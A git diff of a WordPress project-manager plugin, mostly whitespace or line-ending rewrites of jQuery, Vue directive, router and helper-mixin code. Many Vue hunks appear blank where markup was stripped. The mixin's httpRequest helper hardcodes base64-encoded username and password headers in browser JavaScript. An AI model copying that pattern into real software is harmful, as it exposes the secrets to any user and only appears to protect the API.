'.pm-project-role>table' ).append( ui.item._user_meta ); - $( "input.pm-project-coworker" ).val( '' ); - } - return false; - } - - } ).data( "ui-autocomplete" )._renderItem = function( ul, item ) { - var no_user = context.__( 'No users found.', 'wedevs-project-manager'), - create_new_user = context.__( 'Create a new user', 'wedevs-project-manager'); - - if ( item.email ) { - return $( "
  • " ) - .append( ''+item.display_name+'' ) - .appendTo( ul ); - - } else { - - if ( parseInt(PM_Vars.can_add_user_project_create_time) == 1 ) { - return $( "
  • " ) - .append( '

    '+no_user+'

    '+create_new_user+'
    ' ) - .appendTo( ul ); - } else { - return $( "
  • " ) - .append( '

    '+no_user+'

    ' ) - .appendTo( ul ); - } - } - }; - } -} - - -// Register a global custom directive called v-pm-popup-box -pm.Vue.directive('pm-users', { - inserted: function (el, binding, vnode) { - Project.coWorkerSearch(el, binding, vnode); - } -}); -var dilogbox = false; -// Register a global custom directive called v-pm-popup-box -pm.Vue.directive('pm-popup-box', { - inserted: function (el, buinding, vnode) { - - if ( - dilogbox !== false - && - typeof dilogbox.dialog( "instance" ) != 'undefined' - ){ - dilogbox.dialog( "destroy" ); - } - dilogbox = jQuery(el).dialog({ - autoOpen: false, - modal: true, - dialogClass: 'pm-ui-dialog', - width: 485, - height: 'auto', - position:['middle', 100], - }); - - } -}); - -// Register a global custom directive called v-pm-popup-box -pm.Vue.directive('pm-user-create-popup-box', { - - inserted: function (el) { - jQuery(function($) { - $(el).dialog({ - autoOpen: false, - modal: true, - dialogClass: 'pm-ui-dialog pm-user-ui-dialog', - width: 400, - height: 'auto', - position:['middle', 100], - }); - }); - } -}); - - - + +var Project = { + coWorkerSearch: function(el, binding, vnode) { + + var $ = jQuery; + var pm_abort; + var context = vnode.context; + + $( ".pm-project-coworker" ).autocomplete( { + minLength: 1, + + source: function( request, response ) { + var args = { + conditions: { + query : request.term + }, + callback: function (res) { + if ( res.data.length ) { + const assignes = this.$store.state.assignees; + if ( assignes.length == 0 ) { + response( res.data ); + return; + } + const users = assignes.map( item => item.id ); + const result = res.data.filter( item => !users.includes( item.id ) ); + response( result ); + } else { + response({ + value: '0', + }); + } + } + } + + if ( pm_abort ) { + pm_abort.abort(); + } + pm_abort = context.get_search_user(args); + }, + + search: function() { + $( this ).addClass( 'pm-spinner' ); + }, + + open: function() { + var self = $( this ); + self.autocomplete( 'widget' ).css( 'z-index', 999999 ); + self.removeClass( 'pm-spinner' ); + return false; + }, + + select: function( event, ui ) { + if ( ui.item.value === '0' ) { + + $( "form.pm-user-create-form" ).find( 'input[type=text]' ).val( '' ); + + if ( parseInt(PM_Vars.can_add_user_project_create_time) == 1 ) { + $( "#pm-create-user-wrap" ).dialog( "open" ); + } + + } else { + + var has_user = context.selectedUsers.find(function(user) { + return ui.item.id === user.id ? true : false; + }); + + if (!has_user) { + context.addUserMeta(ui.item); + + context.$store.commit('updateSeletedUser', { + item: ui.item, + project_id: context.project_id + }); + } + + + $( '.pm-project-role>table' ).append( ui.item._user_meta ); + $( "input.pm-project-coworker" ).val( '' ); + } + return false; + } + + } ).data( "ui-autocomplete" )._renderItem = function( ul, item ) { + var no_user = context.__( 'No users found.', 'wedevs-project-manager'), + create_new_user = context.__( 'Create a new user', 'wedevs-project-manager'); + + if ( item.email ) { + return $( "
  • " ) + .append( ''+item.display_name+'' ) + .appendTo( ul ); + + } else { + + if ( parseInt(PM_Vars.can_add_user_project_create_time) == 1 ) { + return $( "
  • " ) + .append( '

    '+no_user+'

    '+create_new_user+'
    ' ) + .appendTo( ul ); + } else { + return $( "
  • " ) + .append( '

    '+no_user+'

    ' ) + .appendTo( ul ); + } + } + }; + } +} + + +// Register a global custom directive called v-pm-popup-box +pm.Vue.directive('pm-users', { + inserted: function (el, binding, vnode) { + Project.coWorkerSearch(el, binding, vnode); + } +}); +var dilogbox = false; +// Register a global custom directive called v-pm-popup-box +pm.Vue.directive('pm-popup-box', { + inserted: function (el, buinding, vnode) { + + if ( + dilogbox !== false + && + typeof dilogbox.dialog( "instance" ) != 'undefined' + ){ + dilogbox.dialog( "destroy" ); + } + dilogbox = jQuery(el).dialog({ + autoOpen: false, + modal: true, + dialogClass: 'pm-ui-dialog', + width: 485, + height: 'auto', + position:['middle', 100], + }); + + } +}); + +// Register a global custom directive called v-pm-popup-box +pm.Vue.directive('pm-user-create-popup-box', { + + inserted: function (el) { + jQuery(function($) { + $(el).dialog({ + autoOpen: false, + modal: true, + dialogClass: 'pm-ui-dialog pm-user-ui-dialog', + width: 400, + height: 'auto', + position:['middle', 100], + }); + }); + } +}); + + + diff --git a/views/assets/src/components/project-lists/header.vue b/views/assets/src/components/project-lists/header.vue index 0fe344eb1..97f17cf5f 100644 --- a/views/assets/src/components/project-lists/header.vue +++ b/views/assets/src/components/project-lists/header.vue @@ -1,85 +1,85 @@ - - - - - - - + + + + + + + diff --git a/views/assets/src/components/project-lists/project-create-form.vue b/views/assets/src/components/project-lists/project-create-form.vue index 84a67f768..3149349d3 100644 --- a/views/assets/src/components/project-lists/project-create-form.vue +++ b/views/assets/src/components/project-lists/project-create-form.vue @@ -1,329 +1,329 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-lists/project-summary.vue b/views/assets/src/components/project-lists/project-summary.vue index 48747fe53..f667b1563 100644 --- a/views/assets/src/components/project-lists/project-summary.vue +++ b/views/assets/src/components/project-lists/project-summary.vue @@ -1,394 +1,394 @@ - - - - - - - - - + + + + + + + + + diff --git a/views/assets/src/components/project-milestones/completed-milestones.vue b/views/assets/src/components/project-milestones/completed-milestones.vue index 442d28956..8ced66eed 100644 --- a/views/assets/src/components/project-milestones/completed-milestones.vue +++ b/views/assets/src/components/project-milestones/completed-milestones.vue @@ -1,78 +1,78 @@ - - - - + + + + diff --git a/views/assets/src/components/project-milestones/late-milestones.vue b/views/assets/src/components/project-milestones/late-milestones.vue index 8696ce9a2..d3a0b8e53 100644 --- a/views/assets/src/components/project-milestones/late-milestones.vue +++ b/views/assets/src/components/project-milestones/late-milestones.vue @@ -1,126 +1,126 @@ - - - - + + + + diff --git a/views/assets/src/components/project-milestones/list.vue b/views/assets/src/components/project-milestones/list.vue index af2224e19..684d1a310 100644 --- a/views/assets/src/components/project-milestones/list.vue +++ b/views/assets/src/components/project-milestones/list.vue @@ -1,37 +1,37 @@ - - - \ No newline at end of file diff --git a/views/assets/src/components/project-milestones/milestone-discussion.vue b/views/assets/src/components/project-milestones/milestone-discussion.vue index d6ae57c27..bf7eaddd6 100644 --- a/views/assets/src/components/project-milestones/milestone-discussion.vue +++ b/views/assets/src/components/project-milestones/milestone-discussion.vue @@ -1,40 +1,40 @@ - - - \ No newline at end of file diff --git a/views/assets/src/components/project-milestones/upcoming-milestones.vue b/views/assets/src/components/project-milestones/upcoming-milestones.vue index 8f01418b2..88c146bde 100644 --- a/views/assets/src/components/project-milestones/upcoming-milestones.vue +++ b/views/assets/src/components/project-milestones/upcoming-milestones.vue @@ -1,106 +1,106 @@ - - - - + + + + diff --git a/views/assets/src/components/project-modules/kanboard.vue b/views/assets/src/components/project-modules/kanboard.vue index d8947801d..12346c70e 100644 --- a/views/assets/src/components/project-modules/kanboard.vue +++ b/views/assets/src/components/project-modules/kanboard.vue @@ -1,439 +1,439 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-overview/addNewUser.vue b/views/assets/src/components/project-overview/addNewUser.vue index b514c8adb..748ef0c44 100644 --- a/views/assets/src/components/project-overview/addNewUser.vue +++ b/views/assets/src/components/project-overview/addNewUser.vue @@ -1,173 +1,173 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-overview/searchUser.vue b/views/assets/src/components/project-overview/searchUser.vue index d3ce543ba..4e07db1d4 100644 --- a/views/assets/src/components/project-overview/searchUser.vue +++ b/views/assets/src/components/project-overview/searchUser.vue @@ -1,336 +1,336 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-overview/searchUser__.vue b/views/assets/src/components/project-overview/searchUser__.vue index 95af6ac5b..3bbfe3ac2 100644 --- a/views/assets/src/components/project-overview/searchUser__.vue +++ b/views/assets/src/components/project-overview/searchUser__.vue @@ -1,213 +1,213 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-settings/custom-field-form.vue b/views/assets/src/components/project-settings/custom-field-form.vue index 1de5f39d0..cfb9d8c9b 100644 --- a/views/assets/src/components/project-settings/custom-field-form.vue +++ b/views/assets/src/components/project-settings/custom-field-form.vue @@ -1,157 +1,157 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-settings/custom-field.vue b/views/assets/src/components/project-settings/custom-field.vue index 3f3e1f303..483feaca6 100644 --- a/views/assets/src/components/project-settings/custom-field.vue +++ b/views/assets/src/components/project-settings/custom-field.vue @@ -1,204 +1,204 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-settings/options.vue b/views/assets/src/components/project-settings/options.vue index 9e954b962..a5d93c7dc 100644 --- a/views/assets/src/components/project-settings/options.vue +++ b/views/assets/src/components/project-settings/options.vue @@ -1,385 +1,385 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-settings/router.js b/views/assets/src/components/project-settings/router.js index d9808d47d..724f44de9 100644 --- a/views/assets/src/components/project-settings/router.js +++ b/views/assets/src/components/project-settings/router.js @@ -1,62 +1,62 @@ -weDevsPmProRegisterModule( 'invoice', 'project-settings' ); -weDevsPmProRegisterModule( 'pmProSettings', 'project-settings' ); -weDevsPmProAddonRegisterModule('customFields', 'Custom_Fields'); - -import invoiceContent from '@components/project-settings/invoice'; -import settingsContent from '@components/project-settings/settings'; -import customFieldContent from '@components/project-settings/custom-field.vue'; -import customFieldsSingleTaskContent from '@components/project-settings/task-content.vue'; - -weDevsPMRegisterChildrenRoute('project_root', - [ - { - path: ':project_id/invoice', - name: 'pm_pro_invoice', - component: invoiceContent, - }, - { - path: ':project_id/settings', - name: 'pm_pro_settings', - component: settingsContent, - } - ] -); - -pm_add_filter( 'pm-project-menu', (menu) => { - menu.push( - { - route: { - name: 'pm_pro_invoice' - }, - name: __( 'Invoice', 'pm-pro' ), - count: '', - badge: true, - class: 'logo icon-pm-invoice', - order: 50, - }, - { - route: { - name: 'pm_pro_settings' - }, - name: __( 'Settings', 'pm-pro' ), - count: '', - badge: true, - class: 'logo icon-pm-settings', - order: 100, - } - ) - - return menu; -} ); - -weDevs_PM_Components.push({ - hook: 'after_single_task_tools', - component: 'pm-pro-custom-field-single-task-content', - property: customFieldsSingleTaskContent -}); - -weDevs_PM_Components.push({ - hook: 'pm_pro_settings_content', - component: 'pm-pro-settings-custom-field-content', - property: customFieldContent -}); +weDevsPmProRegisterModule( 'invoice', 'project-settings' ); +weDevsPmProRegisterModule( 'pmProSettings', 'project-settings' ); +weDevsPmProAddonRegisterModule('customFields', 'Custom_Fields'); + +import invoiceContent from '@components/project-settings/invoice'; +import settingsContent from '@components/project-settings/settings'; +import customFieldContent from '@components/project-settings/custom-field.vue'; +import customFieldsSingleTaskContent from '@components/project-settings/task-content.vue'; + +weDevsPMRegisterChildrenRoute('project_root', + [ + { + path: ':project_id/invoice', + name: 'pm_pro_invoice', + component: invoiceContent, + }, + { + path: ':project_id/settings', + name: 'pm_pro_settings', + component: settingsContent, + } + ] +); + +pm_add_filter( 'pm-project-menu', (menu) => { + menu.push( + { + route: { + name: 'pm_pro_invoice' + }, + name: __( 'Invoice', 'pm-pro' ), + count: '', + badge: true, + class: 'logo icon-pm-invoice', + order: 50, + }, + { + route: { + name: 'pm_pro_settings' + }, + name: __( 'Settings', 'pm-pro' ), + count: '', + badge: true, + class: 'logo icon-pm-settings', + order: 100, + } + ) + + return menu; +} ); + +weDevs_PM_Components.push({ + hook: 'after_single_task_tools', + component: 'pm-pro-custom-field-single-task-content', + property: customFieldsSingleTaskContent +}); + +weDevs_PM_Components.push({ + hook: 'pm_pro_settings_content', + component: 'pm-pro-settings-custom-field-content', + property: customFieldContent +}); diff --git a/views/assets/src/components/project-settings/settings.vue b/views/assets/src/components/project-settings/settings.vue index 5d75046e4..8d04173b5 100644 --- a/views/assets/src/components/project-settings/settings.vue +++ b/views/assets/src/components/project-settings/settings.vue @@ -1,269 +1,269 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-settings/slack.vue b/views/assets/src/components/project-settings/slack.vue index f2f4cee3f..98514eada 100644 --- a/views/assets/src/components/project-settings/slack.vue +++ b/views/assets/src/components/project-settings/slack.vue @@ -1,347 +1,347 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-task-lists/completed-tasks.vue b/views/assets/src/components/project-task-lists/completed-tasks.vue index e9996ce60..767f6d099 100644 --- a/views/assets/src/components/project-task-lists/completed-tasks.vue +++ b/views/assets/src/components/project-task-lists/completed-tasks.vue @@ -1,179 +1,179 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-task-lists/incompleted-tasks.vue b/views/assets/src/components/project-task-lists/incompleted-tasks.vue index feed9ec4b..cd056c61f 100644 --- a/views/assets/src/components/project-task-lists/incompleted-tasks.vue +++ b/views/assets/src/components/project-task-lists/incompleted-tasks.vue @@ -1,361 +1,361 @@ - - - - + + + + diff --git a/views/assets/src/components/project-task-lists/lists.vue b/views/assets/src/components/project-task-lists/lists.vue index b58b32b80..9dbc7e752 100644 --- a/views/assets/src/components/project-task-lists/lists.vue +++ b/views/assets/src/components/project-task-lists/lists.vue @@ -1,1878 +1,1878 @@ - - - - - - + + + + + + diff --git a/views/assets/src/components/project-task-lists/new-task-form.vue b/views/assets/src/components/project-task-lists/new-task-form.vue index f221681bc..04480314f 100644 --- a/views/assets/src/components/project-task-lists/new-task-form.vue +++ b/views/assets/src/components/project-task-lists/new-task-form.vue @@ -1,1296 +1,1296 @@ - - - - - - + + + + + + diff --git a/views/assets/src/components/project-task-lists/new-task-list-form.vue b/views/assets/src/components/project-task-lists/new-task-list-form.vue index 463b6a3a5..b581d17c4 100644 --- a/views/assets/src/components/project-task-lists/new-task-list-form.vue +++ b/views/assets/src/components/project-task-lists/new-task-list-form.vue @@ -1,174 +1,174 @@ - - - - - + + + + + diff --git a/views/assets/src/components/project-task-lists/single-list.vue b/views/assets/src/components/project-task-lists/single-list.vue index 6d123bd5f..d2234e439 100644 --- a/views/assets/src/components/project-task-lists/single-list.vue +++ b/views/assets/src/components/project-task-lists/single-list.vue @@ -1,714 +1,714 @@ - - - - - - - - + + + + + + + + diff --git a/views/assets/src/components/project-task-lists/single-task-type.vue b/views/assets/src/components/project-task-lists/single-task-type.vue index 09beab9ca..3a0f43525 100644 --- a/views/assets/src/components/project-task-lists/single-task-type.vue +++ b/views/assets/src/components/project-task-lists/single-task-type.vue @@ -1,340 +1,340 @@ - - - - - - + + + + + + diff --git a/views/assets/src/components/project-task-lists/single-task.vue b/views/assets/src/components/project-task-lists/single-task.vue index 732bde73a..4a95dbdb0 100644 --- a/views/assets/src/components/project-task-lists/single-task.vue +++ b/views/assets/src/components/project-task-lists/single-task.vue @@ -1,2083 +1,2083 @@ - - - - - - - + + + + + + + diff --git a/views/assets/src/components/pusher/settings-tab-menu.vue b/views/assets/src/components/pusher/settings-tab-menu.vue index 56fd1372f..fc7905dae 100644 --- a/views/assets/src/components/pusher/settings-tab-menu.vue +++ b/views/assets/src/components/pusher/settings-tab-menu.vue @@ -1,12 +1,12 @@ - + diff --git a/views/assets/src/components/reports/reports.vue b/views/assets/src/components/reports/reports.vue index 2fda35c98..4dabbd6b0 100644 --- a/views/assets/src/components/reports/reports.vue +++ b/views/assets/src/components/reports/reports.vue @@ -1,199 +1,199 @@ - - - - - + + + + + diff --git a/views/assets/src/components/settings/email.vue b/views/assets/src/components/settings/email.vue index 7278ea9c9..6a9bf58f9 100644 --- a/views/assets/src/components/settings/email.vue +++ b/views/assets/src/components/settings/email.vue @@ -1,108 +1,108 @@ - - - - + + + + diff --git a/views/assets/src/components/settings/header.vue b/views/assets/src/components/settings/header.vue index f3cff3367..2de6fc216 100644 --- a/views/assets/src/components/settings/header.vue +++ b/views/assets/src/components/settings/header.vue @@ -1,42 +1,42 @@ - - - + + + diff --git a/views/assets/src/components/settings/router.js b/views/assets/src/components/settings/router.js index a166081de..0d667f132 100644 --- a/views/assets/src/components/settings/router.js +++ b/views/assets/src/components/settings/router.js @@ -1,93 +1,93 @@ -weDevsPmRegisterModule('settings', 'settings'); - -// const settingsHeader = resolve => { -// require.ensure(['./header.vue'], () => { -// resolve(require('./header.vue')); -// }); -// } -import settingsHeader from './header.vue' -// const settingsGeneral = resolve => { -// require.ensure(['./general.vue'], () => { -// resolve(require('./general.vue')); -// }); -// } -import settingsGeneral from './general.vue' -// const settingsEmail = resolve => { -// require.ensure(['./email.vue'], () => { -// resolve(require('./email.vue')); -// }); -// } - -import taskType from './task-types.vue' - -import settingsEmail from './email.vue' - -import Pusher from './pusher.vue' - - -weDevsPMRegisterChildrenRoute('settings_root', - [ - { - path: '', - component: settingsGeneral, - name: 'general', - meta: { - permission: function(project) { - return pmUserCanAccessPage(PM_Vars.admin_cap_slug) - } - } - }, - { - path: 'email', - component: settingsEmail, - name: 'email', - meta: { - permission: function(project) { - return pmUserCanAccessPage(PM_Vars.admin_cap_slug) - } - } - }, - { - path: 'pusher', - component: Pusher, - name: 'pusher_settings_tab', - meta: { - permission: function(project) { - return pmUserCanAccessPage(PM_Vars.admin_cap_slug) - } - } - }, - { - path: 'task-type', - component: taskType, - name: 'task_type_settings_tab', - meta: { - permission: function(project) { - return pmUserCanAccessPage(PM_Vars.admin_cap_slug) - } - } - } - ] -); - -weDevsPMRegisterChildrenRoute('project_root', - [ - { - path: 'settings', - component: settingsHeader, - meta: { - permission: function(project) { - return pmUserCanAccessPage(PM_Vars.admin_cap_slug) - }, - lebel: 'Settings', - order: 7, - }, - children: wedevsPMGetRegisterChildrenRoute('settings_root') - } - - ] -); - - - - +weDevsPmRegisterModule('settings', 'settings'); + +// const settingsHeader = resolve => { +// require.ensure(['./header.vue'], () => { +// resolve(require('./header.vue')); +// }); +// } +import settingsHeader from './header.vue' +// const settingsGeneral = resolve => { +// require.ensure(['./general.vue'], () => { +// resolve(require('./general.vue')); +// }); +// } +import settingsGeneral from './general.vue' +// const settingsEmail = resolve => { +// require.ensure(['./email.vue'], () => { +// resolve(require('./email.vue')); +// }); +// } + +import taskType from './task-types.vue' + +import settingsEmail from './email.vue' + +import Pusher from './pusher.vue' + + +weDevsPMRegisterChildrenRoute('settings_root', + [ + { + path: '', + component: settingsGeneral, + name: 'general', + meta: { + permission: function(project) { + return pmUserCanAccessPage(PM_Vars.admin_cap_slug) + } + } + }, + { + path: 'email', + component: settingsEmail, + name: 'email', + meta: { + permission: function(project) { + return pmUserCanAccessPage(PM_Vars.admin_cap_slug) + } + } + }, + { + path: 'pusher', + component: Pusher, + name: 'pusher_settings_tab', + meta: { + permission: function(project) { + return pmUserCanAccessPage(PM_Vars.admin_cap_slug) + } + } + }, + { + path: 'task-type', + component: taskType, + name: 'task_type_settings_tab', + meta: { + permission: function(project) { + return pmUserCanAccessPage(PM_Vars.admin_cap_slug) + } + } + } + ] +); + +weDevsPMRegisterChildrenRoute('project_root', + [ + { + path: 'settings', + component: settingsHeader, + meta: { + permission: function(project) { + return pmUserCanAccessPage(PM_Vars.admin_cap_slug) + }, + lebel: 'Settings', + order: 7, + }, + children: wedevsPMGetRegisterChildrenRoute('settings_root') + } + + ] +); + + + + diff --git a/views/assets/src/components/settings/task-type-item.vue b/views/assets/src/components/settings/task-type-item.vue index 8e99e7f22..fe1f6013b 100644 --- a/views/assets/src/components/settings/task-type-item.vue +++ b/views/assets/src/components/settings/task-type-item.vue @@ -1,80 +1,80 @@ - - - + + + diff --git a/views/assets/src/components/welcome/Features.vue b/views/assets/src/components/welcome/Features.vue index f5b00b3ab..85634ff3c 100644 --- a/views/assets/src/components/welcome/Features.vue +++ b/views/assets/src/components/welcome/Features.vue @@ -1,150 +1,150 @@ - - - - + + + + diff --git a/views/assets/src/components/welcome/resources.vue b/views/assets/src/components/welcome/resources.vue index d548ae3fb..66971813c 100644 --- a/views/assets/src/components/welcome/resources.vue +++ b/views/assets/src/components/welcome/resources.vue @@ -1,163 +1,163 @@ - - - - + + + + diff --git a/views/assets/src/helpers/mixin/mixin.js b/views/assets/src/helpers/mixin/mixin.js index c337d29b2..a1eec534d 100644 --- a/views/assets/src/helpers/mixin/mixin.js +++ b/views/assets/src/helpers/mixin/mixin.js @@ -1,1543 +1,1543 @@ -import TaskLists from '@components/project-task-lists/mixin'; -import Url from '@wordpress/url'; -import classnames from 'classnames'; - -export default { - - data () { - return { - //base_url: PM_Vars.base_url +'/'+ PM_Vars.rest_api_prefix, - base_url: PM_Vars.api_base_url, - permalinkStructure: PM_Vars.permalinkStructure, - project_id: typeof this.$route === 'undefined'? false : parseInt( this.$route.params.project_id ), - current_user: PM_Vars.current_user, - avatar_url: PM_Vars.avatar_url, - text: PM_Vars.text, - PM_Vars: PM_Vars, - pm: pm, - taskLists: TaskLists, - currentDate: pm.Moment(new Date()).format('YYYY-MM-DD'), - randomNumber: [] - } - }, - - created () { - setLocaleData(PM_Vars.language.pm); - }, - - methods: { - - isArchivePage () { - return this.$route.name == 'task_lists_archive' || this.$route.name == 'task_lists_archive_pagination' - }, - - classnames ( classAttrs ) { - return classnames( classAttrs ); - - }, - - cutString(string, length, dot){ - var output = ""; - output = string.substring(0, parseInt(length)); - if(dot && string.length > length){ - output += "..."; - } - return output; - }, - - hasTaskStartField () { - if (!PM_Vars.is_pro) { - return false; - } - - let status = this.getSettings('task_start_field', false); - - return status == 'on' || status === true ? true : false; - }, - - is_array(items) { - if(Object.prototype.toString.call(items) == '[object Array]' ) { - return true; - } - }, - - is_object(items) { - if(Object.prototype.toString.call(items) == '[object Object]' ) { - return true; - } - }, - - isValidDate(date) { - date = pm.Moment(new Date(date)); - - return date.isValid() - }, - - secondsToHms (d) { - d = Number(d); - var h = Math.floor(d / 3600); - var m = Math.floor(d % 3600 / 60); - var s = Math.floor(d % 3600 % 60); - - return { - 'hour': h, - 'minute': m, - 'second': s - } - }, - - hexToRgb(hex) { - // Expand shorthand form (e.g. "03F") to full form (e.g. "0033FF") - var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i; - hex = hex.replace(shorthandRegex, function(m, r, g, b) { - return r + r + g + g + b + b; - }); - - var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex); - return result ? { - 0: parseInt(result[1], 16), - 1: parseInt(result[2], 16), - 2: parseInt(result[3], 16) - } : null; - }, - - getTextColor (rgb) { - - if(typeof rgb !== 'object') { - rgb = this.hexToRgb(rgb); - } - if(rgb === null) { - return ''; - } - var c = 'rgb('+rgb[0]+','+rgb[1]+','+rgb[2]+')'; - - //http://www.w3.org/TR/AERT#color-contrast - - var o = Math.round(((parseInt(rgb[0]) * 299) + (parseInt(rgb[1]) * 587) + (parseInt(rgb[2]) * 114)) /1000); - - //console.log(o); - - if(o > 185) { - return '#848484'; - } else { - return '#fff'; - } - - }, - - getInboxId () { - return this.$store.state.project.list_inbox; - }, - - getUniqueRandomNumber() { - var random = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - return v.toString(16); - }) - - if(this.randomNumber.indexOf(random) === -1) { - this.randomNumber.push(random); - - return random; - } - - this.getUniqueRandomNumber(); - - }, - - enableDisable (key, status) { - status = status || ''; - - if(status == '') { - this[key] = this[key] ? false : true; - } else { - this[key] = status; - } - }, - - __(text, domain) { - return __(text, domain); - }, - - sprintf: sprintf, - - user_can (cap) { - return pmUserCan( cap, this.$store.state.project ); - }, - - userCanAccess (slug) { - return pmUserCanAccess(slug); - }, - - is_user_in_project () { - return pmIsUserInProject( this.$store.state.project ); - }, - - is_manager (project) { - var project = project || this.$store.state.project; - return pmIsManager(project); - }, - - has_manage_capability () { - return pmHasManageCapability(); - }, - - has_create_capability () { - return pmHasCreateCapability(); - }, - - intersect(a, b) { - var d = {}; - var results = []; - for (var i = 0; i < b.length; i++) { - d[b[i]] = true; - } - for (var j = 0; j < a.length; j++) { - if (d[a[j]]) - results.push(a[j]); - } - return results; - }, - - can_edit_comment (commnet) { - var user = PM_Vars.current_user; - if (commnet.commentable_type == 'task_activity') { - return false; - } - if (this.is_manager()) { - return true; - } - if ( commnet.creator.data.id == user.ID ){ - return true; - } - - return false; - }, - - pad2 (number) { - return (number < 10 ? '0' : '') + number; - }, - - stringToTime (seconds) { - var numhours = Math.floor(seconds / 3600); - - var numminutes = Math.floor((seconds % 3600) / 60); - - var numseconds = (seconds % 3600) % 60; - - return { - 'hours': this.pad2(numhours), - 'minutes': this.pad2(numminutes), - 'seconds': this.pad2(numseconds) - } - }, - - getFullDate (date) { - if ( !date ) { - return; - } - date = new Date(date.replace(/-/g, "/")); - - return pm.Moment(date).format('dddd, MMMM D YYYY, H:mm:ss'); - }, - - getFullDateCustom (date) { - if ( !date ) { - return; - } - date = new Date(date.replace(/-/g, "/")); - - return pm.Moment(date).format('dddd, MMMM D YYYY'); - }, - - relativeDate (date) { - if ( !date ) { - return; - } - //getTimezoneOffset - date = new Date(date.replace(/-/g, "/")); - - return pm.Moment(date).fromNow(); - }, - - /** - * WP settings date format convert to pm.Moment date format with time zone - * - * @param string date - * - * @return string - */ - shortDateFormat ( date ) { - - if ( !date ) { - return; - } - - date = new Date(date.replace(/-/g, "/")); - date = pm.Moment(date).format('YYYY-MM-DD'); - - var format = 'DD MMM'; - - return pm.Moment( date ).format( String( format ) ); - }, - - shortTimeFormat ( date ) { - if ( !date ) { - return; - } - - date = new Date(date.replace(/-/g, "/")); - var format = 'hh:mm a'; - - return pm.Moment( date ).format( String( format ) ); - }, - - ucfirst (word) { - if(word == '' || typeof word == 'undefined') { - return ''; - } - - return word.replace(/\w/, c => c.toUpperCase()) - }, - - - dateTimeFormat(date) { - if ( !date ) { - return; - } - - date = new Date(date.replace(/-/g, "/")); - return pm.Moment(date).format('hh:mm a'); - }, - - - /** - * WP settings date format convert to pm.Moment date format with time zone - * - * @param string date - * - * @return string - */ - pmDateFormat( date, formate ) { - var formate = formate || 'MMM D'; - if ( !date ) { - return; - } - - date = new Date(date.replace(/-/g, "/")); - return pm.Moment(date).format(formate); - }, - - isEmpty (mixedVar) { - - var undef - var key - var i - var len - var emptyValues = [undef, null, false, 0, '', '0'] - - if( mixedVar === '' ) { - return true; - } - - if( ! this.is_object( mixedVar ) && !this.is_array( mixedVar ) ) { - if ( isNaN( mixedVar ) ) { - return true; - } - } - - - for (i = 0, len = emptyValues.length; i < len; i++) { - if (mixedVar === emptyValues[i]) { - return true - } - } - - if (typeof mixedVar === 'object') { - for (key in mixedVar) { - if ( mixedVar.hasOwnProperty(key) ) { - return false - } - } - return true - } - return false - }, - - /** - * WP settings date format convert to pm.Moment date format with time zone - * - * @param string date - * - * @return string - */ - taskDateFormat ( date ) { - if ( !date ) { - return; - } - - date = new Date(date.replace(/-/g, "/")); - return pm.Moment(date).format('MMM D'); - }, - - /** - * ISO_8601 Date format convert to pm.Moment date format - * - * @param string date - * - * @return string - */ - dateISO8601Format ( date ) { - return pm.Moment( date ).format(); - }, - - getSettings (key, pre_define, objKey ) { - - var pre_define = typeof pre_define == 'undefined' ? false : pre_define, - objKey = typeof objKey == 'undefined' ? false : objKey, - settings = PM_Vars.settings; - - if (objKey) { - if ( typeof PM_Vars.settings[objKey] === 'undefined' ) { - return pre_define; - } - if ( typeof PM_Vars.settings[objKey][key] === 'undefined' ){ - return pre_define; - } - - - if ( PM_Vars.settings[objKey][key] === "true" ){ - return true; - } else if ( PM_Vars.settings[objKey][key] === "false" ){ - return false; - } else { - return PM_Vars.settings[objKey][key]; - } - } - - - if ( typeof PM_Vars.settings[key] == 'undefined' ) { - return pre_define; - } - - if ( PM_Vars.settings[key] == "true" ){ - return true; - } else if ( PM_Vars.settings[key] == "false" ){ - return false; - } else { - return PM_Vars.settings[key]; - } - - }, - - dataURLtoFile (dataurl, filename) { - var arr = dataurl.split(','), mime = arr[0].match(/:(.*?);/)[1], - bstr = atob(arr[1]), n = bstr.length, u8arr = new Uint8Array(n); - while(n--){ - u8arr[n] = bstr.charCodeAt(n); - } - return new File([u8arr], filename, {type:mime}); - }, - - httpRequest (property) { - - if ( property.url ) { - property.url = this.setPermalink( property.url ); - } - - var before = function( xhr ) { - xhr.setRequestHeader("Authorization_name", btoa('mslweiew')); //btoa js encoding base64_encode - xhr.setRequestHeader("Authorization_password", btoa('1$%#$8sgf&*FBI')); //atob js decode base64_decode - - xhr.setRequestHeader("X-WP-Nonce", PM_Vars.permission); - }; - - if(typeof property.data == 'undefined') { - property.data = { - is_admin: PM_Vars.is_admin - } - } - - property.data.is_admin = typeof property.data.is_admin == 'undefined' ? PM_Vars.is_admin : property.data.is_admin; - property.beforeSend = typeof property.beforeSend === 'undefined' ? before : property.beforeSend; - - return jQuery.ajax(property); - }, - - setPermalink (url) { - url = url.replace(/([^:]\/)\/+/g, "$1"); - - if ( !this.permalinkStructure ) { - var matchCount = 0; - - url = url.replace(/\?/g, function (match) { - matchCount++; - return matchCount>1 ? "&" : match; - }); - } - - return url; - }, - - registerStore (module_name, store) { - if (typeof store === 'undefined') { - return false; - } - - var self = this; - //if( typeof store !== 'undefined' ) { - var mutations = store.mutations || {}; //self.$options.mutations; - var state = store.state || {}; //self.$options.state; - var getters = store.getters || {}; //self.$options.getters; - var actions = store.actions || {}; //self.$options.actions; - //} - - // register a module `myModule` - - self.$store.registerModule(module_name, { - namespaced: true, - state, - getters, - mutations, - actions - }); - }, - - /** - * Create a new project - * @param {[Object]} args data with callback - * @return {viod} [description] - */ - newProject (args) { - var self = this, - pre_define = { - data: { - title : '', - categories : '', - description: '', 